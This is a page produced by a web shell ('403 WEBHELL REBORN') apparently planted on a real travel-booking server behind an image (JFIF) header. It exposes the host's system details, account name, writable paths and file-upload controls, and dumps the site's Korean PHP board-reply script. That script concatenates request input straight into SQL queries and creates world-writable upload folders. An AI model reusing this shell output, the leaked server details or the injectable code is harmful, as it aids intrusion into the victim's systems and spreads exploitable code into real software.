ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/board/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/board/re_reg.php
<?
include "../include/top_proc.html"; //공통파일 인클루드
include "_common.php";


//if(devCookie()){
//	p($_POST);
//	exit;
//}

//테이블
if(!$BD_CD) exit;
$table = $BD_CD;

if(!$param){
	$href = "BD_CD=$BD_CD";
	$href.= "&mode=$mode";
	$href.= "&select_key=$select_key";
	$href.= "&input_key=$input_key";

	$param = $href."&page=$page";
}

if($SqlType=='reply'){

	$BOARD_INFO = board_info_list('',$BD_CD);
	$BOARD_INFO = $BOARD_INFO[0];

	//받기
	$MTITLE			= insert_smart($_REQUEST[MTITLE],"text");
	$MEM_NM			= $_REQUEST[MEM_NM];
	$MEM_EMAIL	= $_REQUEST[MEM_EMAIL];
	$MEM_WWW		= $_REQUEST[MEM_WWW];
	$MEM_PWD		= $_REQUEST[MEM_PWD];
	$OrderNum		= $_REQUEST[OrderNum];

	// 답변글이기 때문에 부모글 설정 (20090820 )
	$MSEQ				= $_REQUEST[MSEQ];
	$GET_MREF		= $_REQUEST[MREF];
	$GET_MSTEP	= $_REQUEST[MSTEP];
	$GET_MLEVEL	= $_REQUEST[MLEVEL];

	if(!$MTITLE){
		error_msg('제목을 입력해 주세요.');
	}

	// 내용 설정
	if($BOARD_INFO['BD_WE'] == "Y"){ // 에디터
		$MCONT = insert_smart($_REQUEST[MCONT],"editor");
	}else{
		$MCONT = insert_smart($_REQUEST[MCONT],"text");
	}

	// 비밀글 설정
	$SECRET = $_REQUEST[SECRET];
	if($SECRET!="Y"){
		$SECRET = "N";
		$MEM_PWD = "";
	}else{
		if($MemberLevel == "1" || $MemberLevel == "2"){ //관리자의 답변의 경우 비회원 비번이 유지되도록한다.

		} else {
			$MEM_PWD = $MemberID;
		}
	}

	// 고정공지 설정
	if ($FIXED_YN != "Y") $FIXED_YN = "N";

	// 첨부 파일 경로 설정
	$upload_board = "../../FileData/board/";
	if (!is_dir($upload_board)) {
		@mkdir($upload_board, 0777);
		@chmod($upload_board, 0777);
	}
	$upload = $upload_board . "$BD_CD/";
	if (!is_dir($upload)) {
		@mkdir($upload, 0777);
		@chmod($upload, 0777);
	}

	// 허용/제한 확장자 설정
	$only_file = array("jpg", "JPG", "gif", "GIF", "png", "PNG");
	$deny_file = array("phtm", "htm", "html", "shtm", "ztx", "php", "dot", "asp", "cgi", "pl", "com", "bat", "exe");

	// 첨부파일 업로드 처리
	if($BOARD_INFO['BD_FL'] > 0){
		
		for($f=1; $f<=$BOARD_INFO['BD_FL']; $f++) {
			$T_UserFile_name = $HTTP_POST_FILES["T_UserFile".$f][name];
			
			if ($T_UserFile_name) {
				$ext = strtolower(substr(strrchr($T_UserFile_name, '.'), 1));

				if ($BOARD_INFO['BD_SORT']=="BDTPM03") { // [MD03]갤러리형 게시판
					if (!in_array($ext, $only_file)) {
						error_msg('이미지 파일만 올려주세요');
					}
				}
				else {
					if (in_array($ext, $deny_file)) {
						error_msg('잘못된 파일입니다');
					}
				}
				
				${"sFile".$f} = FileUploadName("", $upload, ${"T_UserFile".$f}, $T_UserFile_name, "", "NoName");
				
			}
		}
	}

	if(!$OrderNum) $OrderNum = '999';


	if($SqlType=="reply"){		

		// 게시판 테이블 LOCK
		db_query("LOCK TABLES ".$BD_CD." WRITE");

		//계층구조시작 [QRef,QReStep,QReLevel]
		$tSQL="SELECT MSTEP FROM ".$BD_CD." WHERE MREF = ".$GET_MREF." AND MSTEP > ".$GET_MSTEP." AND MLEVEL <= ".$GET_MLEVEL." ORDER BY MSTEP";
		$tRest = db_query($tSQL);
		if($tRs = db_fetch_row($tRest)){
			$NowStep = $tRs[0];
		}

		if($NowStep){
			//부모와 같은 레벨의 답이 있다
			$pSQL="SELECT MSTEP FROM ".$BD_CD." WHERE MREF = ".$GET_MREF." AND MSTEP > ".$GET_MSTEP." AND MSTEP < ".$NowStep." AND MLEVEL > ".$GET_MLEVEL." ORDER BY MSTEP DESC";
		}else{
			//부모와 같은 레벨의 답이 없다
			$pSQL="SELECT MSTEP FROM ".$BD_CD." WHERE MREF = ".$GET_MREF." AND MSTEP > ".$GET_MSTEP." AND MLEVEL > ".$GET_MLEVEL." ORDER BY MSTEP DESC";
		}

		$pRest = db_query($pSQL);
		if($pRs = db_fetch_row($pRest)){
			$NewCateStep = $pRs[0];
		}
		if(!$NewCateStep){
			$NewCateStep = $GET_MSTEP;
		}

		$upSQL="UPDATE ".$BD_CD." SET MSTEP = MSTEP+1 WHERE MREF=".$GET_MREF." AND MSTEP > ".$NewCateStep." ";
		db_query($upSQL);

		$MREF = $GET_MREF;
		$MSTEP = $NewCateStep+1;
		$MLEVEL = $GET_MLEVEL+1;

		if(!$MREF){
			$fSQL="SELECT MAX(MREF)+1 FROM ".$BD_CD." ";
			$fRest = db_query($fSQL);
			if($fRs = db_fetch_row($fRest)){
				$MREF = $fRs[0];
			}
			
			if(!$MREF){
				$MREF = 1;
			}
		}

		$SQL ="INSERT INTO ".$BD_CD." SET \n";
		$SQL.="		 MTITLE		='".$MTITLE."' \n";
		$SQL.="		,MCONT		='".$MCONT."' \n";
		$SQL.="		,MEM_NM		='".$MEM_NM."' \n";
		$SQL.="		,MEM_ID		='".$MemberID."' \n";
		$SQL.="		,MEM_EMAIL	='".$MEM_EMAIL."' \n";
		$SQL.="		,MEM_WWW	='".$MEM_WWW."' \n";
		$SQL.="		,MEM_PWD	='".$MEM_PWD."' \n";
		$SQL.="		,MREF		= '".$MREF."' \n";
		$SQL.="		,MSTEP		= '".$MSTEP."' \n";
		$SQL.="		,MLEVEL		= '".$MLEVEL."' \n";
		if($BOARD_INFO[BD_FL]>0){
			for($f=1;$f<=$BOARD_INFO[BD_FL];$f++){
				$k = ($f>9)?$f:"0".$f;
				if(${"sFile".$f}){
					$SQL.="		,MFILE".$k."		= '".${"sFile".$f}."' \n";
				}
			}
		}

        if($BD_CD == 'REVIEW_INTERGRATED'){
            $SQL.="		,lang	= '".$lang."' \n";
        }

		$SQL.="		,FIXED_YN	= '".$FIXED_YN."' \n";
		$SQL.="		,SECRET		= '".$SECRET."' \n";
		$SQL.="		,MSORT_01	= '".$MSORT_01."' \n";
		$SQL.="		,MSORT_02	= '".$MSORT_02."' \n";
		$SQL.="		,MSORT_03	= '".$MSORT_03."' \n";

		$SQL.="		,INSDT		= now() \n";
		$SQL.="		,INSIP		='".$_SERVER['REMOTE_ADDR']."' \n";
		$SQL.="		,OrderNum	= '".$OrderNum."' \n";

		$Result = db_query($SQL);

		// 게시판 테이블 UNLOCK
		db_query("UNLOCK TABLES");

		if(strpos($_POST['param'],'B2BQNA') !== false){
			error_msg('no_alert','b2bIndex.html?'.$param);
		}else{

            if($BD_CD == 'REVIEW_INTERGRATED'){
                if($lang == 'ko' || $lang == 'KO'){
                    error_msg('no_alert','index.html?BD_CD=REVIEW');
                }else if($lang == 'en' || $lang == 'EN'){
                    error_msg('no_alert','index.html?BD_CD=ENREV');
                }else if($lang == 'cn' || $lang == 'CN'){
                    error_msg('no_alert','index.html?BD_CD=CNREV');
                }else if($lang == 'hk' || $lang == 'HK'){
                    error_msg('no_alert','index.html?BD_CD=TWREV');
                }else{
                    error_msg('no_alert','index.html?BD_CD=REVIEW');
                }
            }else{
                error_msg('no_alert','index.html?'.$param);
            }
        }
    }
}

Anon7 - 2021